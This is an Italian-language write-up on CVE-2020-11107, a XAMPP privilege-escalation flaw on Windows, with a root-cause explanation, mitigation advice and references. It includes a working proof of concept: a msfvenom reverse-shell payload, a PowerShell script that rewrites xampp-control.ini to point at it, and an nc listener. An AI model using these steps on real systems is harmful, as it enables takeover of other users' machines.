🧨 CVE-2020-11107 – Escalation dei privilegi locale in XAMPP (Windows)

📌 Panoramica

CVE-2020-11107 è una vulnerabilità di Escalation dei privilegi locale (LPE) che colpisce Apache Friends XAMPP su Windows.

Un utente senza privilegi può modificare il file di configurazione del Pannello di controllo XAMPP (xampp-control.ini) e sostituire l'eseguibile dell'editor predefinito (notepad.exe) con un eseguibile dannoso.
Quando un altro utente (ad es. Amministratore) apre i log tramite il Pannello di controllo, il binario malevolo viene eseguito con i privilegi della vittima, con conseguente escalation dei privilegi.

❗ Questa vulnerabilità NON colpisce Linux o macOS.

🎯 Versioni Affette

• XAMPP < 7.2.29
• XAMPP 7.3.x < 7.3.16
• XAMPP 7.4.x < 7.4.4

Testato su

• Windows 10
• XAMPP 7.3.10

🧠 Causa Principale

• xampp-control.ini è scrivibile a livello globale
• I percorsi di Editor / Browser sono considerati affidabili ed eseguiti
• Le modifiche alla configurazione influiscono su tutti gli utenti
• Nessuna convalida sui percorsi degli eseguibili

🗂 File Importanti

C:\xampp\xampp-control.ini
C:\xampp\xampp-control.exe

🔍 Prova della Vulnerabilità

Verifica la versione di XAMPP:

type C:\xampp\properties.ini

Esempio di output:

base_stack_version=7.3.10-1
base_stack_platform=windows-x64

✅ La versione è vulnerabile.

⚔️ Passaggi di Sfruttamento (PoC)

1️⃣ Genera il Payload Dannoso (Attaccante – Kali)

msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.xxx.xxx LPORT=4444 \
-f exe -o msf.exe

2️⃣ Trasferisci il Payload sul Target

mkdir C:\temp
# Carica msf.exe in C:\temp

3️⃣ Modifica la Configurazione di XAMPP (Utente con Privilegi Limitati)

Script di sfruttamento (PowerShell):

# CVE-2020-11107 PoC
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
$replace = "C:\temp\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file

Esegui lo script:

powershell -ExecutionPolicy Bypass -File 50337.ps1

4️⃣ Attiva l'Esecuzione (Vittima / Admin)

La vittima avvia:

C:\xampp\xampp-control.exe

Poi apre un qualsiasi file di log dal Pannello di controllo.

5️⃣ Ricevi la Shell (Attaccante)

nc -lvnp 4444

✅ Risultato:

Connection received...
C:\WINDOWS\system32>

🎉 Escalation dei privilegi riuscita

📈 Impatto

• Escalation dei privilegi locale
• Esecuzione arbitraria di comandi
• Compromissione completa del sistema (se l'Admin la attiva)

🛡 Mitigazione

• Aggiorna XAMPP a una delle seguenti versioni (o successive):

  • 7.2.29
  • 7.3.16
  • 7.4.4

• Limita i permessi su:

C:\xampp\xampp-control.ini

• Evita di eseguire il Pannello di controllo XAMPP come Amministratore

📚 Riferimenti

• CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11107
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2020-11107
• Advisory Apache Friends: https://www.apachefriends.org/blog/new_xampp_20200401.html
• Exploit-DB: https://www.exploit-db.com/exploits/50337
• Ricerca Originale: https://github.com/S1lkys/CVE-2020-11107